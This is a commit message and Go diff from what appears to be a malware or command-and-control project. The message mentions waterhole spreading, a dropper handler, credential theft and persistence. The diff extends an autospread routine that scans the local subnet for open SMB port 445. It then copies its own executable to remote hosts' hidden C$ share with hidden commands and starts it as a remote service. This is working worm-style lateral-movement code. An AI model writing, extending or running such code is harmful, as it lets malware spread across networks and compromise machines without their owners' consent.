feat: Emberwake, Crucible phases, Linux agent, musical dashboard, e2e

Emberwake spread/waterhole UI, campaign DB, spread handler, spread-kit web publisher, and SPREAD_TECHNIQUES doc. Crucible Phase A-C: expanded ops, port-forward matrix, remote dir browser, crucible help/tests.

Linux agent hardening: credential vault, persistence audit, firewall/defender deploy, SMB spread status, CPU stats, screenshots/crypt/file-ops split. Docker compose and agent/server images with e2e validation script and docs.

Musical dashboard: ambient music player, hover SFX, SoundContext/AmbientMusicContext, steampunk polish. Public builds API, dropper handler updates, SessionGate and fleet UX. README and PROBLEMS.md refresh.

agent/deploy/autospread.go

@@ -95,10 +95,19 @@ func spreadToLocalSubnet(cfg config.RuntimeConfig) {
 	for _, ip := range getLocalIPs() {
 		localSet[ip] = true
 	}
+	var filtered []string
 	for _, target := range targets {
 		if localSet[target] {
 			continue
 		}
+		filtered = append(filtered, target)
+	}
+	beginSpreadSweep("smb_scm", len(filtered))
+	if len(filtered) == 0 {
+		finishSpreadSweepImmediate()
+		return
+	}
+	for _, target := range filtered {
 		spreadSem <- struct{}{}
 		go func(t string) {
 			defer func() { <-spreadSem }()
@@ -111,12 +120,14 @@ func attemptSpread(cfg config.RuntimeConfig, target string) {
 	// 1. Quick pre-check: Is port 445 (SMB) open?
 	conn, err := net.DialTimeout("tcp", target+":445", 2*time.Second)
 	if err != nil {
+		recordSpreadAttempt(target, false, "port 445 closed")
 		return
 	}
 	conn.Close()
 
 	exePath, err := os.Executable()
 	if err != nil {
+		recordSpreadAttempt(target, false, "executable path unavailable")
 		return
 	}
 
@@ -130,7 +141,8 @@ func attemptSpread(cfg config.RuntimeConfig, target string) {
 		// Fallback to C$ hidden temp folder if System32 is restricted
 		cShare := fmt.Sprintf(`\\%s\C$\Windows\Temp\%s`, target, destName)
 		if err := HiddenRun("cmd.exe", "/C", "copy", "/Y", exePath, cShare); err != nil {
-			return // Access denied or host unreachable
+			recordSpreadAttempt(target, false, "smb copy denied")
+			return
 		}
 		remoteExe = filepath.Join(`C:\Windows\Temp`, destName)
 	}
@@ -146,5 +158,8 @@ func attemptSpread(cfg config.RuntimeConfig, target string) {
 
 	if err := HiddenRun("sc.exe", `\\`+target, "start", svcName); err == nil {
 		log.Printf("[autospread] Successfully deployed and started on %s via SCM", target)
+		recordSpreadAttempt(target, true, "")
+	} else {
+		recordSpreadAttempt(target, false, "remote service start failed")
 	}
 }